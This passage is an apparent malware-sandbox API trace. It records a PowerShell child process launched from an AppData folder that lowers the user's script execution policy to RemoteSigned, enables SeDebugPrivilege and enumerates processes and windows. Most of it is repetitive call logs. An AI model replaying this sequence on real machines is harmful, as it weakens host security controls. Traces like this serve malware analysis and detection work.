WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.324] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.389] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.424] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.448] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.503] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.709] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.743] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.981] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.020] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.061] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.138] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "8" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x27be5000" os_pid = "0x890" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x888" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0x894 [0055.798] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0055.918] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0055.918] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0055.918] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0055.918] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0056.586] GetVersionExW (in: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.586] GetLastError () returned 0x2 [0056.587] GetVersionExW (in: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.587] GetLastError () returned 0x2 [0056.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.593] GetLastError () returned 0x2 [0056.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e708, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.601] GetLastError () returned 0x2 [0056.601] GetVersionExW (in: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.601] GetLastError () returned 0x2 [0056.602] SetErrorMode (uMode=0x1) returned 0x1 [0056.604] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x14eb88 | out: lpFileInformation=0x14eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0056.604] GetLastError () returned 0x2 [0056.604] SetErrorMode (uMode=0x1) returned 0x1 [0056.607] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x14ec0c | out: lpdwHandle=0x14ec0c) returned 0x94c [0056.608] GetLastError () returned 0x0 [0056.609] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2a24dcc | out: lpData=0x2a24dcc) returned 1 [0056.663] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14ebd8, puLen=0x14ebd4 | out: lplpBuffer=0x14ebd8*=0x2a24e68, puLen=0x14ebd4) returned 1 [0056.665] lstrlenW (lpString="䅁") returned 1 [0056.736] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a24f44, puLen=0x14eb50) returned 1 [0056.737] lstrlenW (lpString="Microsoft Corporation") returned 21 [0056.738] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0056.738] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a24f98, puLen=0x14eb50) returned 1 [0056.738] lstrlenW (lpString="System.Management.Automation") returned 28 [0056.738] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0056.738] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a24ff4, puLen=0x14eb50) returned 1 [0056.738] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.738] lstrcpyW (in: lpString1=0x257278, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a25034, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a2509c, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a25138, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a2519c, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a25218, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x2a24ec0, puLen=0x14eb50) returned 1 [0056.739] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0056.739] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x0, puLen=0x14eb50) returned 0 [0056.739] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x0, puLen=0x14eb50) returned 0 [0056.740] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x14eb54, puLen=0x14eb50 | out: lplpBuffer=0x14eb54*=0x0, puLen=0x14eb50) returned 0 [0056.740] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14eb48, puLen=0x14eb44 | out: lplpBuffer=0x14eb48*=0x2a24e68, puLen=0x14eb44) returned 1 [0056.741] VerLanguageNameW (in: wLang=0x0, szLang=0x257278, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0056.822] VerQueryValueW (in: pBlock=0x2a24dcc, lpSubBlock="\\", lplpBuffer=0x14eb5c, puLen=0x14eb58 | out: lplpBuffer=0x14eb5c*=0x2a24df4, puLen=0x14eb58) returned 1 [0057.011] GetCurrentProcessId () returned 0x890 [0057.091] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x14e394 | out: lpLuid=0x14e394*(LowPart=0x14, HighPart=0)) returned 1 [0057.093] GetLastError () returned 0x0 [0057.094] GetCurrentProcess () returned 0xffffffff [0057.094] GetLastError () returned 0x0 [0057.096] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x14e390 | out: TokenHandle=0x14e390*=0x308) returned 1 [0057.096] GetLastError () returned 0x0 [0057.098] AdjustTokenPrivileges (in: TokenHandle=0x308, DisableAllPrivileges=0, NewState=0x2a2790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.098] GetLastError () returned 0x0 [0057.100] CloseHandle (hObject=0x308) returned 1 [0057.100] GetLastError () returned 0x0 [0057.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x890) returned 0x308 [0057.107] GetLastError () returned 0x0 [0057.115] EnumProcessModules (in: hProcess=0x308, lphModule=0x2a27950, cb=0x100, lpcbNeeded=0x14eb84 | out: lphModule=0x2a27950, lpcbNeeded=0x14eb84) returned 1 [0057.116] GetLastError () returned 0x0 [0057.122] GetModuleInformation (in: hProcess=0x308, hModule=0x21fa0000, lpmodinfo=0x2a27a90, cb=0xc | out: lpmodinfo=0x2a27a90*(lpBaseOfDll=0x21fa0000, SizeOfImage=0x72000, EntryPoint=0x21fa7363)) returned 1 [0057.122] GetLastError () returned 0x0 [0057.124] GetModuleBaseNameW (in: hProcess=0x308, hModule=0x21fa0000, lpBaseName=0x257a38, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0057.124] GetLastError () returned 0x0 [0057.125] GetModuleFileNameExW (in: hProcess=0x308, hModule=0x21fa0000, lpFilename=0x257a38, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0057.125] GetLastError () returned 0x0 [0057.126] CloseHandle (hObject=0x308) returned 1 [0057.126] GetLastError () returned 0x0 [0057.128] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x890) returned 0x308 [0057.128] GetLastError () returned 0x0 [0057.130] GetExitCodeProcess (in: hProcess=0x308, lpExitCode=0x2a26f40 | out: lpExitCode=0x2a26f40*=0x103) returned 1 [0057.130] GetLastError () returned 0x0 [0057.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a25278, Length=0x20000, ResultLength=0x14ebcc | out: SystemInformation=0x3a25278, ResultLength=0x14ebcc*=0x9a90) returned 0x0 [0057.154] EnumWindows (lpEnumFunc=0x29e3612, lParam=0x0) returned 1 [0057.156] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x558 [0057.156] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x538 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x778 [0057.157] GetLastError () returned 0x0 [0057.157] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x778 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.158] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.158] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.159] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.159] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.159] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.159] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.159] GetLastError () returned 0x0 [0057.159] GetWindowThreadProcessId (in: hWnd=0x60124, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x894 [0057.159] GetLastError () returned 0x0 [0057.160] GetWindow (hWnd=0x60124, uCmd=0x4) returned 0x0 [0057.162] IsWindowVisible (hWnd=0x60124) returned 0 [0057.162] GetWindowThreadProcessId (in: hWnd=0x50122, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x810 [0057.162] GetLastError () returned 0x0 [0057.162] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x788 [0057.162] GetLastError () returned 0x0 [0057.162] GetWindowThreadProcessId (in: hWnd=0x5011e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x850 [0057.162] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.163] GetLastError () returned 0x0 [0057.163] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x494 [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x734 [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x324 [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x11c [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7b4 [0057.164] GetLastError () returned 0x0 [0057.164] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7a4 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x774 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7a8 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x318 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x310 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x210 [0057.165] GetLastError () returned 0x0 [0057.165] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x240 [0057.165] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x328 [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x604 [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x32c [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x660 [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x440 [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x540 [0057.166] GetLastError () returned 0x0 [0057.166] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x538 [0057.166] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x568 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x538 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x568 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x538 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x540 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x540 [0057.167] GetLastError () returned 0x0 [0057.167] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x510 [0057.167] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x57c [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x554 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x528 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.168] GetLastError () returned 0x0 [0057.168] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.168] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x79c [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4e0 [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.169] GetLastError () returned 0x0 [0057.169] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x44c [0057.169] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x778 [0057.170] GetLastError () returned 